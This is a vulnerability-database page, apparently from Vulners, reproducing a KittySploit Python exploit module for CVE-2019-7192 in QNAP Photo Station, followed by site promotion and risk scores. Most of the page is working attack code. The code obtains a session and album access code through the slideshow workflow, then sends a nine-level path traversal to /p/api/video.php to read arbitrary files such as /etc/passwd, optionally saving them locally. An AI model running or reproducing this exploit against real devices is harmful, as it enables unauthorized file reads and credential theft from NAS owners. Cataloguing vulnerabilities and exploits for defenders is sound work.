QNAP Photo Station File Read (CVE-2019-7192)
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""QNAP Photo Station path traversal file read (CVE-2019-7192)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'QNAP Photo Station File Read (CVE-2019-7192)',
'description': (
'Exploits CVE-2019-7192 in QNAP Photo Station: album/slideshow workflow plus '
'filename traversal in /p/api/video.php reads arbitrary files.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2019-7192'],
'platform': Platform.LINUX,
'references': [
'https://www.qnap.com/en/security-advisory/nas-201911-25',
'https://nvd.nist.gov/vuln/detail/CVE-2019-7192',
],
'tags': ['qnap', 'nas', 'photostation', 'lfi', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['data_exfiltration'],
'expected_requests': 4,
'reversible': False,
'approval_required': True,
'produces': ['file_read', 'credentials'],
'chain': {
'suggested_followups': ['scanner/http/cve_2019_7192_detect'],
},
},
}
base_path = OptString('', 'Photo Station base path prefix', required=False, advanced=True)
file_path = OptString('/etc/passwd', 'Remote file to read', required=True)
output_file = OptString('', 'Local output file', required=False)
def _prefix(self) -> str:
base = str(self.base_path or '').strip()
if not base or base == '/':
return ''
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/')
def _session(self) -> tuple[str, str, str] | None:
prefix = self._prefix()
r = self.http_request(
method='POST',
path=f'{prefix}/p/api/album.php',
data='a=setSlideshow&f=qsamplealbum',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r or r.status_code != 200:
return None
m = re.search(r'<output>([^<]+)', r.text or '')
if not m:
return None
album_id = m.group(1)
cookie = None
for k, v in (r.headers or {}).items():
if str(k).lower() == 'set-cookie' and 'QMS_SID=' in str(v):
cm = re.search(r'(QMS_SID=[^;]+)', str(v))
if cm:
cookie = cm.group(1)
break
if not cookie or '=' not in cookie:
return None
cname, cval = cookie.split('=', 1)
r2 = self.http_request(
method='GET',
path=f'{prefix}/slideshow.php?album={album_id}',
cookies={cname: cval},
allow_redirects=False,
)
if not r2:
return None
am = re.search(r"encodeURIComponent\('([^']+)", r2.text or '')
if not am:
return None
return album_id, am.group(1), cval
def execute(self, remote_path: str) -> str:
sess = self._session()
if not sess:
return ''
album_id, access_code, sid = sess
prefix = self._prefix()
remote = remote_path if remote_path.startswith('/') else f'/{remote_path}'
traversal = '../' * 9 + remote.lstrip('/')
data = f'album={album_id}&a=caption&ac={access_code}&filename={traversal}'
r = self.http_request(
method='POST',
path=f'{prefix}/p/api/video.php',
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
cookies={'QMS_SID': sid},
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute(str(self.file_path or '/etc/passwd'))
if re.search(r'root:.*:0:0:', body or '') or re.search(r'admin:.*:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2019-7192 traversal confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'QNAP traversal chain failed', 'confidence': 'medium'}
def run(self):
target = str(self.file_path or '/etc/passwd')
body = self.execute(target)
if not body:
print_error('Empty response')
return False
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Wrote {len(body)} bytes to {out}')
else:
print_success(body[:4000])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.88102
SSVC